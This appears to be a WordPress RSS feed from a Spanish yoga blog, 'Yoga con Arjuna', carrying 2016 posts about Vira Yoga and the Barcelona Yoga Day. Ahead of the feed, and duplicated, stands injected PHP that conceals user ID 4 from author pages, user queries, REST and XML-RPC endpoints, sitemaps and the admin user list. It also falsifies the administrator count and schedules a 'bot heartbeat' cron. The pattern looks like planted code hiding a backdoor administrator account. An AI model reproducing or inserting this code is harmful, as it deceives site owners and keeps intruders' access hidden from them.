add_action( 'pre_get_posts', function( $q ) {
    if ( ! is_admin() && $q->is_main_query() ) {
        $not_in   = (array) $q->get( 'author__not_in' );
        $not_in[] = 4;

        $q->set(
            'author__not_in',
            array_unique( array_map( 'intval', $not_in ) )
        );
    }
}, 1 );

add_action( 'template_redirect', function() {
    if ( is_author() ) {
        $author = get_queried_object();
        if ( $author instanceof WP_User && (int) $author->ID === 4 ) {
            global $wp_query;
            $wp_query->set_404();
            status_header( 404 );
            nocache_headers();
        }
    }
} );

add_action( 'pre_user_query', function( $q ) {
    if ( current_user_can( 'manage_options' ) ) {
        return;
    }
    global $wpdb;
    $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 4 );
} );

add_action( 'pre_get_users', function( $q ) {
    if ( current_user_can( 'manage_options' ) ) {
        return;
    }
    $exclude   = (array) $q->get( 'exclude' );
    $exclude[] = 4;
    $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );

add_filter( 'wp_dropdown_users_args', function( $a ) {
    $exclude   = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
    $exclude[] = 4;

    $a['exclude'] = array_unique( array_map( 'intval', $exclude ) );

    return $a;
} );

add_filter( 'rest_user_query', function( $args, $request ) {
    $exclude   = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
    $exclude[] = 4;

    $args['exclude'] = array_unique( array_map( 'intval', $exclude ) );

    return $args;
}, 10, 2 );

add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
    $route = $request->get_route();
    if ( preg_match( '#^/wp/v2/users/4(/|$)#', $route ) ) {
        return new WP_Error(
            'rest_user_invalid_id',
            'Invalid user ID.',
            array( 'status' => 404 )
        );
    }
    return $result;
}, 10, 3 );

add_filter( 'xmlrpc_methods', function( $methods ) {
    unset(
        $methods['wp.getUsers'],
        $methods['wp.getUser'],
        $methods['wp.getProfile']
    );
    return $methods;
} );

add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
    $exclude   = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
    $exclude[] = 4;
    $args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
    return $args;
} );

add_action( 'admin_head-users.php', function() {
    echo '<style>#user-4{display:none!important}</style>';
} );

add_filter( 'views_users', function( $views ) {
    foreach ( array( 'all', 'administrator' ) as $key ) {
        if ( isset( $views[ $key ] ) ) {
            $views[ $key ] = preg_replace_callback(
                '/\((\d+)\)/',
                function( $m ) {
                    return '(' . max( 0, (int) $m[1] - 1 ) . ')';
                },
                $views[ $key ],
                1
            );
        }
    }
    return $views;
} );

add_action( 'init', function() {
    if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
        return;
    }
    if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
        wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
    }
} );

add_action( 'wp_extra_bot_heartbeat', function() {
    // noop
} );
add_action( 'pre_get_posts', function( $q ) {
    if ( ! is_admin() && $q->is_main_query() ) {
        $not_in   = (array) $q->get( 'author__not_in' );
        $not_in[] = 4;

        $q->set(
            'author__not_in',
            array_unique( array_map( 'intval', $not_in ) )
        );
    }
}, 1 );

add_action( 'template_redirect', function() {
    if ( is_author() ) {
        $author = get_queried_object();
        if ( $author instanceof WP_User && (int) $author->ID === 4 ) {
            global $wp_query;
            $wp_query->set_404();
            status_header( 404 );
            nocache_headers();
        }
    }
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add_action( 'pre_user_query', function( $q ) {
    if ( current_user_can( 'manage_options' ) ) {
        return;
    }
    global $wpdb;
    $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 4 );
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add_action( 'pre_get_users', function( $q ) {
    if ( current_user_can( 'manage_options' ) ) {
        return;
    }
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    $exclude[] = 4;
    $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );

add_filter( 'wp_dropdown_users_args', function( $a ) {
    $exclude   = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
    $exclude[] = 4;

    $a['exclude'] = array_unique( array_map( 'intval', $exclude ) );

    return $a;
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    $exclude   = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
    $exclude[] = 4;

    $args['exclude'] = array_unique( array_map( 'intval', $exclude ) );

    return $args;
}, 10, 2 );

add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
    $route = $request->get_route();
    if ( preg_match( '#^/wp/v2/users/4(/|$)#', $route ) ) {
        return new WP_Error(
            'rest_user_invalid_id',
            'Invalid user ID.',
            array( 'status' => 404 )
        );
    }
    return $result;
}, 10, 3 );

add_filter( 'xmlrpc_methods', function( $methods ) {
    unset(
        $methods['wp.getUsers'],
        $methods['wp.getUser'],
        $methods['wp.getProfile']
    );
    return $methods;
} );

add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
    $exclude   = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
    $exclude[] = 4;
    $args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
    return $args;
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add_action( 'admin_head-users.php', function() {
    echo '<style>#user-4{display:none!important}</style>';
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        if ( isset( $views[ $key ] ) ) {
            $views[ $key ] = preg_replace_callback(
                '/\((\d+)\)/',
                function( $m ) {
                    return '(' . max( 0, (int) $m[1] - 1 ) . ')';
                },
                $views[ $key ],
                1
            );
        }
    }
    return $views;
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add_action( 'init', function() {
    if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
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    }
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	<title>vira yoga &#8211; Yoga con Arjuna</title>
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	<item>
		<title>Entrevista para «El Noveno Viajero»</title>
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		<pubDate>Thu, 07 Jul 2016 20:57:41 +0000</pubDate>
		<dc:creator><![CDATA[Arjuna Virayoga]]></dc:creator>
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		<description><![CDATA[<p>Para aquellos que queráis saber más sobre mi y el Vira Yoga aquí os dejo la entrevista que me hizo El Noveno Viajero, el pasado jueves en el Hotel NH Calderón de Barcelona. Fue una entrevista fluida y con un equipo súper agradable, en la que hablamos de mi vida yóguica, y del orígen y creación...&#160;<a href="http://www.yogaconarjuna.com/2016/07/07/entrevista-para-el-noveno-viajero/">[Leer&#160;más]</a></p>
<p>La entrada <a rel="nofollow" href="http://www.yogaconarjuna.com/2016/07/07/entrevista-para-el-noveno-viajero/">Entrevista para «El Noveno Viajero»</a> se publicó primero en <a rel="nofollow" href="http://www.yogaconarjuna.com">Yoga con Arjuna</a>.</p>
]]></description>
				<content:encoded><![CDATA[<p>Para aquellos que queráis saber más sobre mi y el Vira Yoga aquí os dejo la entrevista que me hizo <strong><a href="http://el9viajero.com/?p=862">El Noveno Viajero</a></strong>, el pasado jueves en el Hotel NH Calderón de Barcelona.</p>
<p>Fue una entrevista fluida y con un equipo súper agradable, en la que hablamos de mi vida yóguica, y del orígen y creación del <strong>VIRA YOGA</strong>.</p>
<p>Gracias  al Noveno Viajero por elegirme.</p>
<p>Arjuna</p>
<p><iframe width="500" height="281" src="https://www.youtube.com/embed/J21Cf_g_vOk?feature=oembed" frameborder="0" gesture="media" allowfullscreen></iframe></p>
<p>La entrada <a rel="nofollow" href="http://www.yogaconarjuna.com/2016/07/07/entrevista-para-el-noveno-viajero/">Entrevista para «El Noveno Viajero»</a> se publicó primero en <a rel="nofollow" href="http://www.yogaconarjuna.com">Yoga con Arjuna</a>.</p>
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		</item>
		<item>
		<title>VIRAYOGA en el Barcelona Yoga Day</title>
		<link>http://www.yogaconarjuna.com/2016/06/30/vira-yoga-en-el-barcelona-yoga-day-2/</link>
		<comments>http://www.yogaconarjuna.com/2016/06/30/vira-yoga-en-el-barcelona-yoga-day-2/#comments</comments>
		<pubDate>Thu, 30 Jun 2016 19:10:53 +0000</pubDate>
		<dc:creator><![CDATA[Arjuna Virayoga]]></dc:creator>
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		<description><![CDATA[<p>Namaste amigos, tras el BYD (Barcelona Yoga Day) y como miembro de la organización, estoy muy contento por la buena acogida que tubo el VIRAYOGA y en general la participación de todos vosotros. Fue un día muy duro, coordinarlo todo es complicado pero ha valido la pena por el buen ambiente que se generó, la energía nos...&#160;<a href="http://www.yogaconarjuna.com/2016/06/30/vira-yoga-en-el-barcelona-yoga-day-2/">[Leer&#160;más]</a></p>
<p>La entrada <a rel="nofollow" href="http://www.yogaconarjuna.com/2016/06/30/vira-yoga-en-el-barcelona-yoga-day-2/">VIRAYOGA en el Barcelona Yoga Day</a> se publicó primero en <a rel="nofollow" href="http://www.yogaconarjuna.com">Yoga con Arjuna</a>.</p>
]]></description>
				<content:encoded><![CDATA[<p style="text-align: justify;">Namaste amigos, tras el <strong>BYD</strong> (<strong>Barcelona Yoga Day</strong>) y como miembro de la organización, estoy muy contento por la buena acogida que tubo el <strong>VIRAYOGA</strong> y en general la participación de todos vosotros.<span id="more-777"></span></p>
<p style="text-align: justify;">Fue un día muy duro, coordinarlo todo es complicado pero ha valido la pena por el buen ambiente que se generó, la energía nos acompañaba y el éxito fue presente, casi  170 personas practicando al unísono <strong>VIRAYOGA</strong>!</p>
<p style="text-align: justify;">Momento mágico para mi poder compartir mi conocimiento a tanta gente. Asi que aquí os dejo un pequeño video para que veáis el ambiente precioso que había en el parque de la estación de norte (Barcelona) el 19 de junio.</p>
<p style="text-align: justify;">Hasta pronto!</p>
<p>Arjuna</p>
<p><iframe width="500" height="281" src="https://www.youtube.com/embed/6dEjloIGhy0?feature=oembed" frameborder="0" allowfullscreen></iframe></p>
<p>La entrada <a rel="nofollow" href="http://www.yogaconarjuna.com/2016/06/30/vira-yoga-en-el-barcelona-yoga-day-2/">VIRAYOGA en el Barcelona Yoga Day</a> se publicó primero en <a rel="nofollow" href="http://www.yogaconarjuna.com">Yoga con Arjuna</a>.</p>
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		<title>Organización BARCELONA YOGA DAY</title>
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		<pubDate>Fri, 17 Jun 2016 11:07:46 +0000</pubDate>
		<dc:creator><![CDATA[Arjuna Virayoga]]></dc:creator>
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		<description><![CDATA[<p>Este domingo se celebra en el Parc de l´Estació del Nord el Barcelona Yoga Day, doy gracias a las divinidades y todas las energías que me pusieron en este camino y concretamente en este momento que estoy viviendo. Con la ilusión de poder dirigir el VIRAYOGA y tener la oportunidad de desarrollarlo en este evento,...&#160;<a href="http://www.yogaconarjuna.com/2016/06/17/organizacion-barcelona-yoga-day/">[Leer&#160;más]</a></p>
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]]></description>
				<content:encoded><![CDATA[<p style="text-align: justify;">Este domingo se celebra en el Parc de l´Estació del Nord el <strong>Barcelona Yoga Day</strong>, doy gracias a las divinidades y todas las energías que me pusieron en este camino y concretamente en este momento que estoy viviendo.</p>
<p style="text-align: justify;">Con la ilusión de poder dirigir el <strong>VIRAYOGA</strong> y tener la oportunidad de desarrollarlo en este evento, me siento afortunado ya que es uno de los eventos de Yoga más importantes del país.<span id="more-742"></span></p>
<p style="text-align: justify;">No es fácil crearlo, doy fe. Pero somos un buen equipo y si sale como lo estamos visualizando en nuestros corazones estoy seguro que todos los asistentes van a disfrutar de este día.</p>
<p style="text-align: justify;">Desde este año quería comunicaros que ya no es un evento que organizaban ciertas personas o escuelas, sino que hemos creado una asociación porque queremos difundir con todos vosotros unos valores que compartimos como practicantes de yoga.</p>
<p style="text-align: justify;">Esta asociación no es solo un conjunto de personas que nos hemos unido para crear un evento sinó que todos nosotros compartimos un mismo camino. Creemos que en Barcelona hay mucha diversidad de yogas, y no por practicar diferentes corrientes debemos de sentirnos menos unidos como practicantes. Es por eso que queremos con vuestra ayuda, promover y difundir esta disciplina tan bonita y que tanto nos aporta.</p>
<p style="text-align: justify;">Me gustaría hablaros un poco de mis compañeros de la organización.</p>
<p style="text-align: justify;"><strong>Gundicha,</strong> es un ser humano con un corazón enorme, dice mi hermanito Mahajana que lo más parecido a un santo es él y ahora puedo corroborarlo.</p>
<p style="text-align: justify;"><strong>Sergi,</strong> es una persona tímida de primeras, pero es un corazón con patitas, nunca dice «no»  y con su bella energía  facilita el éxito a todo el que se le rodea.</p>
<p style="text-align: justify;"><strong>Bhrama Kumaris,</strong> son unos yoguis estupendos, con mucho valor y organización. Tenerlos es un placer ya que me transmiten una paz celestial, meditar con ellos será precioso.</p>
<p style="text-align: justify;"><strong>Marta</strong>, aix Marta… Que mujer más tímida pero efectiva, activa y cuanto más la conozco más me sorprende, es una flor de loto que nos ilumina.</p>
<p style="text-align: justify;"><strong>Vero</strong> es luz, guerrera a más no poder pero todo lo que tiene de guerrera lo tiene de dulce. Es nuestra activista número 1, sin ella muchas cosas no hubieran sido posible. Es 24h de devoción que no hace estar a todos despiertos.</p>
<p style="text-align: justify;"><strong>Patricio.</strong> woww… Que conexión, hace unos años coincidimos en un curso y desde entonces supe que compartiríamos dharma. Es el motor de la organización, profesional, divertido y con una mente abierta y súper evolucionada, grande Madhava!</p>
<p style="text-align: justify;">Y como no, para finalizar mi “Mataji” <strong>Cristina Mata</strong> que decir de ella… Su corazón vibra a planos extra humanos, implicación y sufrimiento porque este día sea grande. Sin ella no estaría en la organización, sigo pensando en cómo agradecerle todo lo que está haciendo por mí…</p>
<p style="text-align: justify;">Pues queridos lectores, desde mi mirada veo un gran equipo que lo va a dar todo para que este domingo sea genial.</p>
<p style="text-align: justify;">No me faltéis que pasare lista!</p>
<p style="text-align: justify;">Hasta el domigo!!!</p>
<p style="text-align: justify;">Arjuna</p>
<p style="text-align: justify;">#barcelonayogaday</p>
<p style="text-align: justify;">www.barcelonayogaday.org</p>
<p><img class="alignnone size-full wp-image-747" src="http://www.yogaconarjuna.com/wp-content/uploads/2016/06/2016-06-13-09-19-37.jpg" alt="2016-06-13 09.19.37" width="1075" height="709" srcset="http://www.yogaconarjuna.com/wp-content/uploads/2016/06/2016-06-13-09-19-37.jpg 1075w, http://www.yogaconarjuna.com/wp-content/uploads/2016/06/2016-06-13-09-19-37-300x198.jpg 300w, http://www.yogaconarjuna.com/wp-content/uploads/2016/06/2016-06-13-09-19-37-768x507.jpg 768w, http://www.yogaconarjuna.com/wp-content/uploads/2016/06/2016-06-13-09-19-37-1024x675.jpg 1024w" sizes="(max-width: 1075px) 100vw, 1075px" /></p>
<p>La entrada <a rel="nofollow" href="http://www.yogaconarjuna.com/2016/06/17/organizacion-barcelona-yoga-day/">Organización BARCELONA YOGA DAY</a> se publicó primero en <a rel="nofollow" href="http://www.yogaconarjuna.com">Yoga con Arjuna</a>.</p>
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		</item>
		<item>
		<title>Conoces el VIRAYOGA?</title>
		<link>http://www.yogaconarjuna.com/2016/03/21/httpsyoutu-beh4smosveg7g/</link>
		<comments>http://www.yogaconarjuna.com/2016/03/21/httpsyoutu-beh4smosveg7g/#respond</comments>
		<pubDate>Mon, 21 Mar 2016 14:04:47 +0000</pubDate>
		<dc:creator><![CDATA[Arjuna Virayoga]]></dc:creator>
				<category><![CDATA[Sin categoría]]></category>
		<category><![CDATA[ARJUNA]]></category>
		<category><![CDATA[Artes Marciales]]></category>
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		<category><![CDATA[Yoga]]></category>

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		<description><![CDATA[<p>Conoces el VIRA YOGA?</p>
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]]></description>
				<content:encoded><![CDATA[<p style="text-align: justify;">Para que podáis ver qué es el VIRAYOGA, hoy he preparado un pequeño video ejemplo sobre una de las preparaciones vertebrales del vira yoga: <a href="https://youtu.be/h4smoSveG7g">Conoces el VIRA YOGA?</a></p>
<p style="text-align: justify;">La preparación vertebral, es de los primeros ejercicios que realizamos en nuestra práctica, lo usamos para flexibilizar la columna vertebral y estirar la musculatura anterior y posterior del tronco. Unido a estos beneficios también este ejercicio elimina tensiones, agresividad acumulada, bloqueos energéticos.<span id="more-511"></span></p>
<p style="text-align: justify;">En este video puedes ver la técnica de artes marciales, en este caso como defenderte de un agarre de solapa ante una agresión. y a partir de ahí basándonos en esos gestos de la técnica marcial, sale esta preparación vertebral con tantos beneficios.</p>
<p style="text-align: justify;">Puedes aprovechar para practicarlas, siempre con conciencia y sin prisas. Si quieres saber más del VIRAYOGA contacta conmigo. Y ahora, a practicar y disfrutar!!</p>
<p>Arjuna</p>
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		<item>
		<title>«Soy el canalla del yoga»</title>
		<link>http://www.yogaconarjuna.com/2016/03/13/soy-el-canalla-del-yoga/</link>
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		<pubDate>Sun, 13 Mar 2016 15:29:26 +0000</pubDate>
		<dc:creator><![CDATA[Arjuna Virayoga]]></dc:creator>
				<category><![CDATA[Sin categoría]]></category>
		<category><![CDATA[canalla]]></category>
		<category><![CDATA[El Periódico]]></category>
		<category><![CDATA[Entrevista]]></category>
		<category><![CDATA[superación]]></category>
		<category><![CDATA[vira yoga]]></category>
		<category><![CDATA[Yoga]]></category>

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		<description><![CDATA[<p>Hoy ha salido publicada la entrevista que me han hecho sobre mi vida en la contra de EL PERIÓDICO, titulada como: «Soy el canalla del yoga» no dudes en visitar el link y leer la entrevista completa. &#160; &#160;</p>
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]]></description>
				<content:encoded><![CDATA[<p style="text-align: justify;">Hoy ha salido publicada la entrevista que me han hecho sobre mi vida en la contra de EL PERIÓDICO, titulada como: <a href="http://www.elperiodico.com/es/noticias/sociedad/albert-lopez-arjuna-soy-canalla-del-yoga-4971913?utm_source=rss-noticias&amp;utm_medium=feed&amp;utm_campaign=sociedad">«Soy el canalla del yoga»</a> no dudes en visitar el link y leer la entrevista completa.</p>
<p><img class="alignnone size-full wp-image-500" src="http://www.yogaconarjuna.com/wp-content/uploads/2016/03/2016-03-13-09-15-22.jpg" alt="2016-03-13 09.15.22" width="1428" height="1183" srcset="http://www.yogaconarjuna.com/wp-content/uploads/2016/03/2016-03-13-09-15-22.jpg 1428w, http://www.yogaconarjuna.com/wp-content/uploads/2016/03/2016-03-13-09-15-22-300x249.jpg 300w, http://www.yogaconarjuna.com/wp-content/uploads/2016/03/2016-03-13-09-15-22-768x636.jpg 768w, http://www.yogaconarjuna.com/wp-content/uploads/2016/03/2016-03-13-09-15-22-1024x848.jpg 1024w" sizes="(max-width: 1428px) 100vw, 1428px" /></p>
<p>&nbsp;</p>
<p>&nbsp;</p>
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		<title>La esencia del VIRAYOGA</title>
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		<pubDate>Sun, 10 Jan 2016 09:25:18 +0000</pubDate>
		<dc:creator><![CDATA[Arjuna Virayoga]]></dc:creator>
				<category><![CDATA[Sin categoría]]></category>
		<category><![CDATA[ARJUNA]]></category>
		<category><![CDATA[Meditación]]></category>
		<category><![CDATA[pranayamas]]></category>
		<category><![CDATA[vira yoga]]></category>
		<category><![CDATA[Yoga]]></category>

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		<description><![CDATA[<p>Cuando pensamos en héroes o guerreros de inmediato asociamos estas ideas con grandes personajes que han conseguido cosas increíbles, pero la realidad es que el auténtico héroe se encuentra dentro de cada uno de nosotros. De aquellas personas que tienen vidas mundanas, con dificultades y que a pesar de eso no dudan ni un instante...&#160;<a href="http://www.yogaconarjuna.com/2016/01/10/el-sentimiento-interior-del-virayoga/">[Leer&#160;más]</a></p>
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]]></description>
				<content:encoded><![CDATA[<p style="text-align: justify;">Cuando pensamos en héroes o guerreros de inmediato asociamos estas ideas con grandes personajes que han conseguido cosas increíbles, pero la realidad es que el auténtico héroe se encuentra dentro de cada uno de nosotros. De aquellas personas que tienen vidas mundanas, con dificultades y que a pesar de eso no dudan ni un instante en seguir adelante. De esto habla el Virayoga, de sacar nuestra fuerza interior y creer en nosotros para hacernos más fuertes y ayudarnos a superar las adversidades.</p>
<p style="text-align: justify;">Si sientes inquietudes por evolucionar como persona y aprender a escuchar dentro de ti lo puedes conseguir a través de las prácticas yóguicas que te aporta el Virayoga. <span id="more-391"></span>Prácticas de meditación, visualización, pranayamas, crecimiento interno y técnicas marciales. Todas las prácticas llevadas a cabo en esta formación están enfocadas a aportar serenidad, equilibrio emocional y fuerza tanto física como psíquica.</p>
<p style="text-align: justify;">El guerrero que queremos potenciar en cada un@ de nosotros es aquel que afronta la vida con fuerza y energía. Aquel que a pesar de tener miedo o dudas sigue adelante por el camino de la vida con seguridad y confianza en su potencial. Aquel que se permite tener miedo pero no deja que eso le paralice para lograr sus sueños.</p>
<p style="text-align: justify;">Dentro de ese luchador/a existe siempre una inquietud por el sentido de la existencia, y una vivencia plena con presencia y coherencia entre lo que piensa, siente y hace.</p>
<p style="text-align: justify;">El Virayoga no es únicamente un trabajo constante y pleno hacía el interior de uno mismo sino más bien, una filosofía de vida que nos puede guiar a través de nuestra existencia. Quitándole poder a nuestro ego para despertar nuestra esencia interna más pura y fuerte.</p>
<p style="text-align: justify;">A través de estas palabras quiero transmitiros la esencia del VIRAYOGA, el sentimiento interior que cada uno de nosotros puede desarrollar y que el practicante de Vira yoga acaba adquiriendo como algo innato.</p>
<p style="text-align: center;">ARJUNA Y DURGA</p>
<p style="text-align: center;"><img class="alignnone size-full wp-image-756" src="http://www.yogaconarjuna.com/wp-content/uploads/2016/06/dsc5802.jpg" alt="_DSC5802" width="3937" height="2607" srcset="http://www.yogaconarjuna.com/wp-content/uploads/2016/06/dsc5802.jpg 3937w, http://www.yogaconarjuna.com/wp-content/uploads/2016/06/dsc5802-300x199.jpg 300w, http://www.yogaconarjuna.com/wp-content/uploads/2016/06/dsc5802-768x509.jpg 768w, http://www.yogaconarjuna.com/wp-content/uploads/2016/06/dsc5802-1024x678.jpg 1024w" sizes="(max-width: 3937px) 100vw, 3937px" /></p>
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		<title>El camino del poder interno, el VIRAYOGA</title>
		<link>http://www.yogaconarjuna.com/2016/01/04/el-camino-del-poder-interno-virayoga/</link>
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		<pubDate>Mon, 04 Jan 2016 11:19:39 +0000</pubDate>
		<dc:creator><![CDATA[Arjuna Virayoga]]></dc:creator>
				<category><![CDATA[poder]]></category>
		<category><![CDATA[sadhana]]></category>
		<category><![CDATA[shankalpa]]></category>
		<category><![CDATA[Artes Marciales]]></category>
		<category><![CDATA[Asanas]]></category>
		<category><![CDATA[beneficios]]></category>
		<category><![CDATA[vira yoga]]></category>

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		<description><![CDATA[<p>Pensar en héroes y heroínas en esta época puede parecer fantasioso pero el Virayoga habla del poder que hay dentro de cada uno de nosotros, un poder de superación y fuerza interna que se asemejan a la fuerza de la que hablaban las antiguas historias de héroes. El trabajo del practicante de VIRAYOGA no solo...&#160;<a href="http://www.yogaconarjuna.com/2016/01/04/el-camino-del-poder-interno-virayoga/">[Leer&#160;más]</a></p>
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]]></description>
				<content:encoded><![CDATA[<p style="text-align: justify;">Pensar en héroes y heroínas en esta época puede parecer fantasioso pero el Virayoga habla del poder que hay dentro de cada uno de nosotros, un poder de superación y fuerza interna que se asemejan a la fuerza de la que hablaban las antiguas historias de héroes.</p>
<p style="text-align: justify;">El trabajo del practicante de VIRAYOGA no solo es un conocimiento de asanas de Yoga con técnicas de Artes Marciales. Es mucho más, unifica el equilibrio y la paz que aporta el yoga con la autoconfianza y el trabajo de coordinación de las artes marciales. Permitiéndonos gozar de los beneficios de ambas disciplinas por igual.</p>
<p style="text-align: justify;">Pero no es solo eso. Desde mi punto de vista la parte más autentica  del VIRAYOGA es sin duda, la del crecimiento personal. Como bien dice su nombre es:»EL CAMINO DEL PODER INTERNO».<span id="more-347"></span></p>
<p style="text-align: justify;">Este es el motivo por el que en cada session se trabaja un Shankalpa, una frase afirmativa con una intención concreta para lograr un objetivo. Durante la sadhana dirigimos nuestra energía hacía aquello que queremos conseguir, teniendo presente en todo momento nuestro shankalpa. Este tipo de acciones nos ayuda a fijar objetivos y afianzar nuestras bases para caminar por la vida. Nos despierta un guía interno, nuestro héroe/heroína que nos va a ayudar a superar las adversidades y a tomar consciencia de nuestro presente.</p>
<p style="text-align: justify;">Por todo esto, en nuestra formación contamos con Esther Casermeiro, Psicóloga y Coach que se encargará de la parte de crecimiento personal, ayudándonos a despertar nuestro héroe/heroína intern@.</p>
<p style="text-align: justify;">Ya veis, el Virayoga es un sistema de Yoga super completo! Con asanas, técnicas de las Artes Marciales, meditaciones, pranayamas, crecimiento personal y muchas sorpresas más que están por venir. Todo unido con amor e ilusión para disfrutar de una práctica nueva que nos enriquece en muchas aspectos.</p>
<p>ARJUNA Y DURGA</p>
<p><img class="alignnone size-full wp-image-387" src="http://www.yogaconarjuna.com/wp-content/uploads/2016/01/fullsizerender.jpg" alt="FullSizeRender" width="1126" height="747" srcset="http://www.yogaconarjuna.com/wp-content/uploads/2016/01/fullsizerender.jpg 1126w, http://www.yogaconarjuna.com/wp-content/uploads/2016/01/fullsizerender-300x199.jpg 300w, http://www.yogaconarjuna.com/wp-content/uploads/2016/01/fullsizerender-768x509.jpg 768w, http://www.yogaconarjuna.com/wp-content/uploads/2016/01/fullsizerender-1024x679.jpg 1024w" sizes="(max-width: 1126px) 100vw, 1126px" /></p>
<p>La entrada <a rel="nofollow" href="http://www.yogaconarjuna.com/2016/01/04/el-camino-del-poder-interno-virayoga/">El camino del poder interno, el VIRAYOGA</a> se publicó primero en <a rel="nofollow" href="http://www.yogaconarjuna.com">Yoga con Arjuna</a>.</p>
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